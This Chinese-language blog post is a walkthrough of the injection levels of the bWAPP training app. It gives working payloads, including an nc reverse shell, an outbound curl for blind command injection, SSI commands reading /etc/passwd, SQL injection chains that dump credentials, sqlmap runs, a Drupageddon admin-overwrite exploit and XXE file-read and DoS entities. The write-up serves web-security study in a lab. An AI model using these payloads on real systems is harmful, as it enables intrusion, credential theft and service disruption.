01BWAPP通关指北-——注入篇

夺旗攻略 2018-10-07

国庆期间感觉还是要写一些教程啊,不然手生,应急响应的后篇这段时间项目比较多所以只能延后了,尴尬~

作者:古月蓝旻

bwapp是一个非常nice的web安全训练平台,里面包含多种多样的web环境,可供web安全人员自学,是一个打好web安全基础的绝佳之地,基本遵循OWASP TOP10 2013版进行设计,非常适合学习web安全。本篇将从基础开始,讲解bwapp中各种关卡的通关指北

配置篇

工欲善其事,必先利其器。咱们先把环境搭建好然后可以很方便的(????)??嗨,详细搭建的过程网上有很多,我个人推荐下载官方虚拟机镜像进行测试,这里不多说了,给一些简单的提示方便各位学习。

  1. 搭建完成虚拟机以后,是一台ubuntu主机,进入其图形界面打开shell,发现里面输入字母有问题,比如输入a显示的是q等等。这个是键盘布局问题导致,解决方法很简单,左上角System->Preferences->keyboard,打开键盘偏好,在layouts标签add China 类型layout,删除默认layout,然后关闭即可
  2. bwapp默认web登录帐号为bee,密码为bug
  3. bwapp默认ssh登录帐号为root,密码为bug。可用xshell等连接
  4. bwapp默认源码存放位置为/var/www/bWAPP/,可以进行代码审计
    实战篇

     实战篇默认先从low级别开始,有时间补充medium和high级别以及代码审计里发现的问题
    

注入篇

HTML Injection - Reflected (GET)--low

HTML注入,顾名思义就是使用HTML代码将其中原有的页面生成逻辑破坏,比如这道题看结果,firstname和lastname中输入的值会在页面下方显示,同时url中也会出现对应值,这也是为什么这道题被称为GET型注入的原因。

知道思路其实很简单,可以往里嵌入任意HTML代码,甚至JS代码,如

admin <a href=https://www.meetsec.cn>hhh</a>

<script>alert(document.cookie)</script>

这里注意一下测试JS代码不要在开了JS过滤器的chrome浏览器进行,或者在开了noscript的firefox里进行,会无法执行JS

看看一下源码可知,网页是直接echo htmli(firstname)和htmli(lastname)的值,在low级别里htmli函数未做任何过滤

P.S. 顺便一提,检查的函数no_check()、xss_check_1()这些的定义全在functions_external.php中,有兴趣可以自行前往查看

HTML Injection - Reflected (POST)--low

这道和第一关GET型HTML注入很像,区别在于参数通过POST方式传递,而本题在POST包的data中传递,结果也是一样,将相关字段显示到页面上

所以思路和第一题一样,往里嵌入任意HTML代码,甚至JS代码,如

admin <a href=https://www.meetsec.cn>hhh</a>

<script>alert(document.cookie)</script>

不单独截图了,思路如此~

HTML Injection - Reflected (URL)--low

首先尝试访问一下该页面,发现页面中“Your current URL”里会原样返回我们当前的url

遇到这种能原样输出的,自然要考虑一下HTML注入
我们尝试一下增加一个id字段

可以看到,原样返回,OK,继续来大新闻

通过burp抓包,将id修改为<h1>666</h1>,测试一下

注入成功(不要直接改浏览器url,符号会被url编码)

尝试一下XSS的payload<script>alert(document.cookie)</script>

看一下源码吧

首先页面是直接输出变量$url,这个变量是啥

在low级别里,$url是请求头中HOST和URI的拼接值,中间未作任何转义或者过滤,这就是url中发生HTML注入的原因

HTML Injection - Stored (Blog)--low

看着这个页面,模拟的是一个博客的功能,可以把输入的内容保存到服务端数据库中,然后输出,典型的存储型功能,既然还是原样输出,就别怪我们搞big news

尝试夹带一下私货,果然可以

XSS类似,不再重复截图了

iFrame Injection--low

尝试访问一下,会直接跳转到

http://192.168.248.130/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

嗯,其实是把本地的robots.txt加载出来了

那么其实可以改一下ParamUrl的值,既可以改成服务器本地的文件,亦可以改成其他网站

那么无论是用于钓鱼还是覆盖攻击,都是很方便的

查看源码可知在low级别下,iframe标签的src参数为ParamUrl的值,没有任何过滤或者转义,因此可以加载本地或远端任意文件。

LDAP Injection (Search)--low

这道题似乎全网都没什么正经答案,找了半天也是一头雾水,后来仔细看了一下题目其实也没那么难,关键在于要自己搭建LDAP服务器并在登录的用户下面添加相关数据

服务器搭建参考:

ubuntu14.04下ldap服务和客服端安装,配置

里面添加数据直接使用phpldapadmin即可

比如我配置base DN为dc=test,dc=com,添加一个用户cn=admin,在admin里添加3个用户aaa、bbb、ccc

直接连接即可,关于LDAP和LDAP注入的概念参考两篇文章:

理解LDAP与LDAP注入

【LDAP】LDAP注入漏洞与防御

其实简单来说:LDAP也类似于数据库,拥有自己的查询语句,如果在查询语句中使用一些特殊符号如*,(,),/,&,|等,就有可能破坏LDAP原有的查询逻辑从而暴露其它数据

成功连接后的页面很简单,就一个查询框,当里面搜索aaa的时候就会出现aaa用户的相关信息

我们现在尝试使用*来注入一下

出现了 全部的用户信息,有人可能会说,这是注入?数据库的select * from xxx不也一样吗?

确实挺类似,但在LDAP中,使用*可以出现所有数据的情况确实是注入,显示所有数据,当然其它情况下的注入方法很多,可以自行探索。

Mail Header Injection--low

这道题简单补充一句:由于bwapp的镜像里虽启用postfix服务,有25端口,但是不能真的给真实发邮件,这道题主要是学一下思路。

首先本题一共有3处文本框,分别为Name,E-mail,Remarks3个部分

但是无论你填入什么数据都会告诉你消息将被发送给bee,所以这道题的响应并不能反应注入行为是否成功。

在做这道题之前,其实我们要先对SMTP协议和邮件头注入了解一些常识,对一些常见字段有一定掌握,否则还是会一头雾水,可以使用telnet尝试发送一封邮件自行感受一下,下面两个教程写的都是非常不错的。

telnet发送邮件

PHP邮件注入攻击技术

第二篇教程其实讲的很好,针对邮件头注入可以有多种方式进行,最常见的是通过%0A或者说n此类的换行符添加CC/BCC字段,尤其是BCC字段,实现邮件可以密送给指定邮箱,配合发件人伪造的漏洞可以直接钓鱼。(网上很多发件人伪造平台就是这样,使用密送隐藏真正想要收件的邮箱,通过伪造某真实发件人邮箱来窃取信息)

当然邮件伪造还有参数注入、主题注入和消息体注入,总体方法很多,按需进行即可。

顺便说一下,本题对应php的注释里面其实藏着这道题的答案,也是通过添加%0ABCC:xxx@aaa.com的方式进行注入,有时候看着medium或者high级别的过滤规则其实是可以反推low级别答案的关键点的。

OS Command Injection--low

命令注入,尤其是有回显的的系统命令注入简直就是黑客福音,这种漏洞在早期CMS中非常常见,究其成因其实也很简单,常见服务端脚本语言PHP和Java都有系统命令执行的函数,一旦传入的参数存在问题就会导致严重的后果,而命令执行的权限首先于所运行的中间件权限

PHP常见系统命令执行函数:exec/system/passthru/popen/proc_open/shell_exec/`运算符

Java/JSP常见系统命令执行函数:Runtime.getRuntime().exec

这里同样推荐几篇文章帮助加深一下理解

PHP执行linux命令常用函数汇总

php 命令执行系列

命令执行漏洞和修复方案

好了,继续阐述系统命令执行中常见的套路:一般是使用一些命令拼接符号将危险的命令插入正常参数后,使得危险命令一并被执行。常见拼接符号有;/|/&/||/&&/空格/,等,根据实际情况灵活运用

我们回到这道题上,看一下原题的php本来是一个DNS lookup的功能,输入指定的域名返回DNS服务器和对应的IP

根据思路可以将我们想执行的命令拼接,比如拼接&id

自然是效果拔群,当然使用;或者|等都是可以的,可以自行尝试一下

之前有小伙伴问我eval不是也可以执行命令吗?为什么OS命令注入函数里没有它,关于这个问题多说一下eval函数的作用就是把一段字符串当作PHP语句来执行,而不是直接当系统命令来执行,eval的定义和用例参见

PHP eval函数使用介绍

顺便看一下这道题的源码,看看问题出在哪里

果然调用了shell_exec函数,执行nslookup命令并将post传入的targert变量进行执行,在low级别下,commandi函数的target变量不会进行任何处理,这也导致了拼接方式执行系统命令的发生。

OS Command Injection - Blind--low

如同大多数注入,分为有回显和无会显两种情况,针对无回显的时候,我们有很多方式可以判断该命令是否已经成功执行。一般两种思路:

1. 基于时间,将正确结果等待一段时间后返回或将命令执行次数提升增加响应时间
2. OOB带外通道,通过DNSLOG或者自己的VPS接收目标服务器向外发出的包

本题思路就是如此,无回显的情况下自然不会将命令的执行结果返回给响应包中,我这里使用自己的VPS做一下验证

使用命令为

127.0.0.1&curl -k https://www.meetsec.cn   //-k 允许不使用证书到SSL站点

发个包看一下

很明显,我的请求收到了,虽然没有回显

OK,无回显的情况下我们该如何使用这个漏洞呢?嗯,其实思路很多,大部分系统命令都是可以执行的知识执行结果是抓瞎的,一般这种情况我习惯用反弹shell

127.0.0.1&nc -e /bin/sh ip port

之所以不用bash -i 是里面特殊字符太多,容易被转义,使用nc方便快捷,OK,我们看下结果

非常nice,然后就可以愉快玩耍了,注意一下有时候会执行命令超时导致连接断开,这种情况建议拿到shell以后建一个SSH远程隧道,会稳定得多。

PHP Code Injection--low

先审一下提干,非常明显的暗示,message被加粗,这个页面是通过GET请求访问的,我们就在url的参数里加一下message字段然后加入字符串,看看结果

果然加入的字符串被返回,既然是php代码注入,我们试一下万能的phpinfo()

完全没问题,看来执行php函数没毛病,那就试想一下能不能执行系统命令

使用system('id')看看

果然没问题,自然反弹shell也不在话下

那么为啥会出这个问题,我们看一下源码

在级别是low的情况下,该php直接使用万恶之源@eval将message变量里的字符串执行了,果然还是远离eval保平安

Server-Side Includes (SSI) Injection--low

SSI注入之前一直没有尝试过,处于只闻其声,不见其人的状态,这回刚好趁机学习了一波,首先要理解SSI注入就要理解1.什么是SSI;2.SSI的语法是什么。推荐一篇文章

HTML语言SSI指令语法

根据文章的描述这两个问题都得到了答案

1. SSI是什么?
Server Side Include,是一种类似于ASP的基于服务器的网页制作技术。
将内容发送到浏览器之前,可以使用“服务器端包含 (SSI)”指令将文本、图形或应用程序信息
包含到网页中。例如,可以使用 SSI 包含时间/日期戳、版权声明或供客户填写并返回的表单。

2. SSI语法
SSI的指令格式为:<!-- #directive parameter="value" -->
其中,directive是指令名,parameter指令参数,value指令参数值

语法跟随用途
1、显示服务器端环境变量<#echo>
2、将文本内容直接插入到文档中<#include>
3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)
4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
5、设置SSI信息显示格式<#config>;(如文件制作日期/大小显示方式) 

首先看一下这道题,我在两个字段输入的内容会在shtml页面输出


有了这些知识其实不难看出,我们的目的是直接执行系统命令程序
在参数可控的情况下我们分别传入

<!--#exec cmd="id" -->
<!--#exec cmd="cat /etc/passwd" -->

效果如下,

那么一般SSI注入怎么发现呢?

其实当你发现目标站点可以根据你的输入生成shtml文件就可以尝试一下

再看一下问题的成因吧,直接看源码

在low级别里:变量line的值使用变量firstname和lastname等拼接而成,在下面生成ssii.sthml的语句中,直接将line变量的值写入shtml中,那么我们一旦让firstname和lastname的内容变成符合SSI语法的值,自然会在生成的shtml中进行解析,从而实现SSI注入。

SQL Injection (GET/Search)--low

终于来到了SQL注入的环节,web安全入门第一课就是SQL注入现在还是很怀念的,先看下这道题,搜索的内容会在url中出现

首先找注入点,尝试加单引号,果然报错

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

既然是查询标题,输入的是字符串,那么如果有注入应该是字符型注入,在不输入任何内容的时候,会显示所有的电影信息,根据上面的报错信息推测使用了通配符%xxx%+like进行模糊查询,我们使用以下payload进一步探测这里的title是不是注入点

Iron Man' or 'a'='b        //显示钢铁侠对应的电影信息
Iron Man' and 'a'='b       //查不到数据

看来注入点就在title上了

好了,尝试直接使用sqlmap吧(当然手工也可以,效率会低一些)

sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_1.php?title=a&action=search" -p title

直接说要跳转到http://192.168.248.130:80/bWAPP/login.php,这个主要是cookie的问题导致,添加--cookie参数即可

sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_1.php?title=a&action=search" -p title --cookie "security_level=0; PHPSESSID=8a0efd7c34122c9c44801ab115567bba"

注入成功了,后面其实就是套路了,不多说了,我们直接看源码吧

可以看到果然使用了like+%xxx%的组合拼接sql语句,在low级别里直接把GET得到的title字段值拼接进入sql语句里,这道题和常见sql注入语句有点差别,需要同时处理掉单引号和百分号,看看上图sqlmap提供的payload,都对%进行了处理,可以借鉴一下

SQL Injection (GET/Select)--low

这道题和上道题目有点差别,给出了下拉框选择电影,选择以后查询url里的movie参数会自动变成对应的数字,所以这道题是数字型注入

尝试单引号和or/and大法确认了注入的存在

1'                //数据库报错
1 or 1=2          //显示id为1的电影数据
1 and 1=2        //查不到信息

这道题想来波手工注入,就不劳烦sqlmap了

Step1

使用order by n#大法确认字段数

1 order by 7#        //显示正常
1 order by 8#        //Error: Unknown column '8' in 'order clause'

确认字段数为7

Step2
使用union select大法确认字段位置

100 union select 1,2,3,4,5,6,7        //用100就是为了查不到对应电影从而标记显示位值

确认Title 、Release、Character、Genre对应的显示位分别是2、3、5、4

Step3

开始查数据了

100 union select 1,version(),3,4,5,6,7    //查询数据库版本
100 union select 1,version(),database(),system_user(),user(),6,7
//分别查询数据库版本,当前数据库、当前系统用户、数据库用户

可以看到数据库的系统信息都已经可以查到了

Step4

爆出数据库名

100 union select 1,schema_name,3,4,5,6,7 from information_schema.schemata 
limit 0,1#
//利用MySQL5.0以上版本特性,通过information_schema.schemata查数据库信息
//不断修改limit 后的数字挨个遍历数据库名
100 union select 1,schema_name,3,4,5,6,7 from information_schema.schemata 
limit 1,1#
//此时显示的数据库为bWAPP

Step5

爆出表名

100 union select 1,table_name,3,4,5,6,7 from information_schema.tables 
where table_schema='bWAPP' limit 0,1#
//查bWAPP数据库里information_schema.tables的表名,也是修改limit后的数字挨个遍历
100 union select 1,table_name,3,4,5,6,7 from information_schema.tables 
where table_schema='bWAPP' limit 3,1#
//改到3时出了users表,建议使用hackbar辅助会快一些

Step6 爆出列名/字段名

100 union select 1,column_name,3,4,5,6,7 from information_schema.columns 
where table_name='users' limit 0,1#
//同样逐步遍历limit后的数字,在1和2的时候分别爆出列名是login和password

Step7 查询数据

100 union select 1,password,login,4,5,6,7 from users limit 0,1#
//同样逐步遍历limit后的数字,在1的时候爆出用户bee和密码

至此一套完整的手中注入流程就结束了,其实挺费劲的,上面注意一点使用union查询,字段类型一定要对应上,不能int和string型在一起,会报错

我们再看下源码,变量sql在low级别下直接和GET传入的id字段进行拼接,导致了注入的发生

手工注入还是很累的,本次还是顺利的情况,但是很考验基础,建议时长温习一下手工注入

SQL Injection (POST/Search)--low

虽然是POST,但是思路没啥变化,还是title作为了注入点,这里直接使用sqlmap即可

sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_6.php" --data "title=meetsec&action=search" --cookie "security_level=0; PHPSESSID=51c46790ffda6afd473714e80b3f5dd7" -p title

使用--data参数传入post数据,同样需要--cookie参数添加cookie

果然轻松加愉快

代码审计角度看和GET型几乎无差别,此处不额外截图

SQL Injection (POST/Select)--low

套路同上,此次注入点是movie,还是用我大sqlmap好了

sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_13.php" --data "movie=1&action=go" --cookie "security_level=0; PHPSESSID=51c46790ffda6afd473714e80b3f5dd7" -p movie

全程还是非常的方便快捷

SQL Injection (AJAX/JSON/jQuery)--low

这道题不是很难,首先解释一下AJAX,Ajax 即“Asynchronous Javascript And XML”(异步 JavaScript 和 XML),通过在后台与服务器进行少量数据交换,Ajax 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。比如我们使用百度的时候,有个功能叫“搜索预测”,当你输入第一个字的时候,下拉框里就会出现大量可能的关键词候选,这个用的就是ajax技术,而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法(因为js很容易捕捉客户端的按键行为),所以这道题目的标题会显得有点长。

言归正传,看一下数据包,当我敲下第一个字母的时候,页面开始自动发送title到服务端,服务端根据传入的值进行查询并给出返回结果

看这数据包,根据套路,那么注入点就在title上

sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_10-2.php?title=Iron" --cookie "security_level=0; PHPSESSID=51c46790ffda6afd473714e80b3f5dd7" -p title

我们还是用sqlmap测试一下吧

注意一下这道题的特殊之处,查询页面为sqli_10-1.php,ajax自动查询页面为sqli_10-2.php

我们也看下源码,看到了其中出现了JS

从sqli_10-1.php源码中可以看出title作为变量search的值,通过$.getJSON方法传递给了sqli_10-2.php,然后sqli_10-2.php将get方式传入的title值直接拼接进行查询

SQL Injection (CAPTCHA)--low

这道题其实挺无语的,一开始以为要撸验证码,后来发现根本就是披着狼皮的羊

在输入正确的验证码以后进入到查询电影的页面,随便搜个关键字,看看url就知道问题所在了

然后sqlmap走起即可

sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_9.php?title=Iron&action=search" --cookie "security_level=0; PHPSESSID=5913f596beeaf73e40495ff8037750a9" -p title

SQL Injection (Login Form/Hero)--low

非常经典的登录SQL注入,早年第一个wooyun漏洞就是这个,当时还起的标题还是“万能密码”,现在看看真是young

好了,言归正传,所谓的登录框SQL注入到底是什么呢?

其实和GET/POST型没什么差别,我这里给出两个例子

uesrname: admin
password: admin' or 'a'='a

username:admin' or 'a'='a'#
password:aaa

都是可以登录成功的,其实原理很简单,一旦登录验证的SQL语句使用拼接方式直接将用户名和密码插入该语句中,那么其中一旦有恶意sql语句自然就会比较尴尬

后台登陆万能密码总结

看一下源码

如上述,查询的SQL语句使用拼接方式直接对login和password变量进行了插入

同样可以尝试使用sqlmap进行post注入

sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_3.php" --data "login=111&password=111&form=submit" --cookie "security_level=0; PHPSESSID=5913f596beeaf73e40495ff8037750a9" -p login

SQL Injection (Login Form/User)--low

关于这道题解法不唯一,下面分别说下

1. bee/bug大法
这里调用的数据库是你登录bwapp的数据库,想成功登录输入你的帐号密码即可,哈哈哈

2. sqlmap大法
上面是扯淡的,直接使用sqlmap走post型注入
sqlmap.py -u "http://192.168.248.130/bWAPP/sqli_16.php" --data "login=111
&password=111&form=submit" --cookie "security_level=0;
 PHPSESSID=5913f596beeaf73e40495ff8037750a9" -p login

sqlmap给出3种可能的注入:布尔盲注、错误注入、时间盲注
嗯,好吧,也就这是我虚拟机,没waf,有waf分分钟被封IP

3. 手工注入大法
根据我们上面的教程,走一波流程,简单概括一下:
a. 单引号的试探
b. and/or的确认
c. order by 爆字段数
d. union select爆显示位
e. union select查version、database、user
f. unino select分别查数据库名、表名、字段名、数据

前面两种方法不说了,我们直接看下第3种手工注入

当然实际测试过程中,流程都是次要的,主要还是对当前站点灵活修改思路

先来一波单引号

嗯,我们的单引号成功引起了数据库的注意

显然and/or大法并不适合本题(待会代码审计会看到)

直接爆字段

' order by 10#

可以看到根据回显,我们确认了字段数是9

union select爆显示位

' UNION SELECT 1,2,3,4,5,6,7,8,9#

这一步显然也是不行的,因为该情况下回显仅为Invalid credentials!

所以手工注入党到这里只能散了,因为出不来显示位,当然如果你站在灰盒的角度还是可以继续的,参见

SQL注入之bWAPP之sqli_16.php

使用payload

' UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#

可出显示位,剩下的操作还是和上面的手工注入流程一致

如教程所述,如果想同时查多个信息,使用group_concat(database(),"||",version(),"||",user())替代显示位2可以搞定

我们在看看源码,为什么这题有点奇怪

根据源码显示,这次的登录流程

1. 首先是验证用户名是否存在
2. 取出该用户名所在的那行数据
3. 在用户名存在的情况下,验证传入的密码和上一步用户名对应的密码数据是否吻合

把一步验证拆成两步了,这样万能密码就失效了,因为就算第一步使用了万能密码过了sql语句,第二步里查到的信息里的密码还是会和传入的密码对不上,这里使用php的==进行值的比对,而非sql语句中的比对

SQL Injection (SQLite)--low

首先介绍一下SQLite

其实是一个轻量级数据库,查询语法和常见的数据库类似

看一下数据包,和之前的GET型没什么区别

尝试单引号报错

尝试 ' or '1'='1显示所有数据,所以确定注入点

直接丢sqlmap

sqlmap.py -u "http://192.168.248.132/bWAPP/sqli_11.php?title=iron&action=search" -p title --cookie "PHPSESSID=806d0cfce7c3833b0a86c4621aa55f10; security_level=0"

非常nice

看一下源码,其实和MySQL一样,在low级别下,直接使用拼接方式获取字段

Drupal SQL Injection (Drupageddon)--low

含金量比较高的一道题,和前面的注入不是一个水平,不是手工注入可以直接下手的节奏

我们先看一下题目

bwapp凡是有超链接的地方都是字体加粗的,首先就是Drupal部分对应URL为http://192.168.248.132/drupal

很俊朗的界面,正常情况下当然是登录不了的,先简单介绍一下Drupal

Drupal诞生于2000年 ,是一个基于PHP语言编写的开源开发型CMF(内容管理框架),
即:CMS+ framework。其中 framework是指Drupal内核中的功能强大的PHP类库和PHP函数库,
以及在此基础上抽象的Drupal API。在网站开发能力上,Drupal,Joomla和Yii、CodeIgniter、
Zend、CakePHP等业界顶级PHP框架同样强大。形象的说,Drupal是一个附带CMS的PHP开发框架。

所以Drupal是一个老牌PHP框架了,加之又是开源框架,上面题目那些低级SQL注入存在的可能性太低了

当然题目也给出了提示CVE-2014-3704

网上的资料和EXP也有很多

Drupal Core CVE-2014-3704 SQL Injection Vulnerability

Drupal 7.31 SQL注入漏洞

根据原文描述,漏洞原理如下:

Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。

影响范围:Drupal 7.x - 7.31

虽然比前几个漏洞复杂很多,但本质类似,还是缺少相应的过滤机制

利用一下吧

网上找了一个python2的poc,Drupal 7.31 SQL注入漏洞尝试一下

当然这里的poc有点坑,也许是为了防止伸手党,故意换了一下导入包的顺序,导致执行报错,我们把class DrupalHash和import hashlib放到最前面就可以执行了

该poc核心语句在下图

可以看到name[]数组的key里写了这么一段话

0%20;update+users+set+name%3d\'" \
        +user \
        +"'+,+pass+%3d+'" \
        +hash[:55] \
        +"'+where+uid+%3d+\'1\';;#%20%20

我们浓缩一下

0%20;update+users+set+name%3d'" +user +"'+,+pass+%3d'" +hash[:55]+"'+where+uid+%3d+'1';;#%20%20

熟悉数据库的小伙伴一定不会陌生,这里是在强制更新管理员用户的用户名和密码

name值为传入的user值
pass值为DrapalHash函数处理过password值
uid为1

可以说是非常流弊了,我们试一下,将管理员设置为admin,密码123456

好的我们回去登录一下

成功登录666

好的我们回头找一下万恶之源,

root@bee-box:/var/www/drupal#  find .* |xargs grep -ri "expandArguments"

drupal/includes/database/database.inc里定义了expandArguments函数

key部分果然没做过滤

这种漏洞找起来需要非常细心加经验丰富,否则看了也就过了

SQL Injection - Stored (Blog)--low

一开始打开这个界面,显示和HTML Injection - Stored (Blog)这道题是一样的

嗯,但既然题目说了SQL注入,那就注入一下吧

尝试在框里来波单引号,果然报错,有门啊

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'bee')' at line 1

直接上sqlmap,对post数据包来一波

sqlmap.py -u "http://192.168.248.132/bWAPP/sqli_7.php" --data "entry=111&blog=add" --cookie "security_level=0; PHPSESSID=8808dd484e44d092b283aaf14410e397; has_js=1; SESSa02b61540789dbe071bd08de16e73e55=R_74PZC27XjbOWj1J4LeX1LbmSxdavWvnDSxep6xfLs" -p entry

OK,sqlmap跑完以后数据库里会有大量payload,会显示到页面上,这里就不截图了

SQL Injection - Stored (SQLite)--low

看一下题目

典型的输入啥显示啥

尝试输入单引号无法添加内容,也无报错回显,这里猜测一下有SQL注入

但是拿sqlmap跑居然木有跑出来,真是醉了,百度了一下,有教程居然说是靠sqlmap直接跑出来我也是挺醉的

后来上油管看了2个视频感觉收到了一些启发,首先需要掌握一点sqlite的语法以及常用注入payload

SQLite SQL Injection Cheat Sheet

好的,总结以下payload

meetsec','');
meetsec',sqlite_version());
meetsec',(select name from sqlite_master where type='table'));
meetsec',(select login||":"||password from users)) -- -

效果拔群

SQL Injection - Stored (User-Agent)--low

根据页面提示,应该是把访问记录保存到了数据库中,然后取出在前台页面显示

尝试将请求包的UA改成'

出现报错,看来有门

尝试payload

1' select version()#

报错如下:

error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select version()#', '192.168.248.1')' at line 1

看了是括号闭合的问题,逐一尝试换成

1' ,(select version()))#

成功,页面显示数据库版本


1' ,(select user()))#

显示当前使用用户

相关注入参考资料

User Agent注入攻击及防御

『SQL注入』 User-Agent 手工注入的探测与利用分析

有人可能说,我想用sqlmap跑啊,不然好慢的

sqlmap使用--level参数来进行不同全面性的测试,默认为1,不同的参数影响了使用哪些payload,2时会进行cookie注入检测,3时会进行user-agent检测。

所以我们尝试一下level 3进行扫描,然而...

好吧,有时候还是要自己动手丰衣足食

我们来看下源码吧

在low级别下,ua被直接插入vistors表中,没有任何过滤转义,因此,如果里面被传入了一些危险数据自然会被保存到表里

SQL Injection - Stored (XML)--low

这里更正一下:之前我把这题当成了XXE漏洞来进行的测试,而且教程的图片中的url也和真正XXE的教程部分混了,这里更正一下。

然而后来有人提醒觉得不是XXE我就仔细看了一下,结果发现这题其实根本不是XXE,是利用MySQL错误注入的姿势实现SQL注入的一道非常经典的题目

不过我这边还是先走一下XXE漏洞的测试过程

简单介绍一下XXE

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

防御思路:如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

以本题为例,首先XXE可以实现文件读取

来个/etc/passwd文件读取

也可以进行DOS攻击

还可以根据回包的不同判断端口开发情况

payload如下:

<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY guyue SYSTEM
"http://192.168.248.130/bWAPP/robots.txt">
]>
<reset><login>&guyue;</login><secret>Any bugs?</secret></reset>

<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY guyue SYSTEM
"file:///etc/passwd">
]>
<reset><login>&guyue;</login><secret>Any bugs?</secret></reset>

<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY   guyue SYSTEM
"http://192.168.248.132:8088">
]>
   <reset><login>&guyue;</login><secret>Any bugs?</secret></reset>



<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<reset><login>&a4;</login><secret>Any bugs?</secret></reset>

资料参考

XXE漏洞利用技巧:从XML到远程代码执行

浅谈XXE攻击

DTD/XXE 攻击笔记分享

好了,回归正题,我们还是从SQL注入的角度来讲解一下本题

这道题网上很多教程都是用XXE的做法来处理,就和我上面一样,当然也有少数大佬发现了这里实际上是SQL注入,比如youtube上的Praveen Singh给出了视频教程

虽说POST请求体内容是XML,但是不影响我们在参数值添加单引号搞一波事情

经典的MySQL回显报错,但是尝试Union等手工注入等手段发现其实并不能得到数据,说明此处没有联合注入

根据视频教程,我们可以尝试构造以下payload

bee' + (select 0 from meetsec) +'
bee' + (select 0 from users) +'

这里简单介绍一下原因,bWAPP的数据所在数据库名称为bWAPP,其中有users表,而没有meetsec表。上面两张截图其实也就是表明了我们传入的payload其实已经被数据库执行并返回了结果

首先数据库名称暴露了,为bWAPP,数据库中有users表,没有meetsec表

好了,接下来直接跳到重头戏payload了

bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

看到这里的时候,一般没手工试过MySQL错误注入的小伙子可能会有这样一种感觉

刚教完1+1=2,1*3=3,就直接开始看高数了

这个其实是MySQL错误注入的一个老姿势了,利用floor、rand()*2 和group by来实现主键重复回显报错。

如使用上面payload查询的时候,MySQL会生成中间虚表,key为主键,我们知道数据库中的表中,主键值是不能重复的,一旦重复会报错。

利用floor(rand()*2)的不可预测性和floor(rand(0)*2)的固定性使得计算和统计时,虚表主键重复插入,我们想获取的数据也放在虚表主键中,这样报错时会将数据显示

这说的啥呢?我们简单演示一下

当你在数据库查询以下语句时,你会发现每次查询结果都不一样

select floor(rand()*2) from movies;

但是你将rand函数的随机因子加入数字0以后,就是一个固定结果

利用MySQL这种特性构造的中间虚表,在生成时就可以将想查询的值以主键重复报错形式回显出来。

比如下面的查询语句,查询数据库版本

select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

如果还是不了解的话,这里推荐两篇优质文章

MYSQL报错注入的一点总结

Mysql报错注入原理分析(count()、rand()、group by)

好了,我们看下这题的实际情况,因为有些payload时不能直接拿来用的,我们先看下源码看看查询语句是什么?

从传入的请求中获取XML对应键值,并且拼接到update语句中,这里其实和GET和POST传参效果一样,只是换成了XML而已

但由于是在update语句而非select语句,后面想传入注入语句会受到一定限制

我们看下完整payload,这里我修改了一下,用于查询数据库版本

<reset><login>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</login><secret>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</secret></reset>

查询数据库版本,核心思想如我上面所说利用了主键重复报错,而前面的一些其它部分则大部分是由于处于update语句中操作字段数和子查询的一些限制

payload和youtube里面是不太一样,除了login字段传了payload外,secret部分我也传入了相同payload(我只传一个参数的情况下无法引起报错)

特别注意:由于此处利用MySQL主键重复报错,具有随机性,不一定一次性出结果,所以应该多次发包

有兴趣的话,写个小脚本或者burp直接发30个左右的包,通过响应包长度不同区分

查询数据库用户也是一样,注意两处payload值一模一样即可

<reset><login>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT user())),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</login><secret>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT user())),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</secret></reset>

到这里就可以证明存在SQL注入了

能不能用sqlmap自动跑呢?当然可以

由于POST请求体部分是XML,sqlmap能向url那样识别字段吗,其实是可以的(这里感谢听风者,我的好机油总是让我发现新的知识)

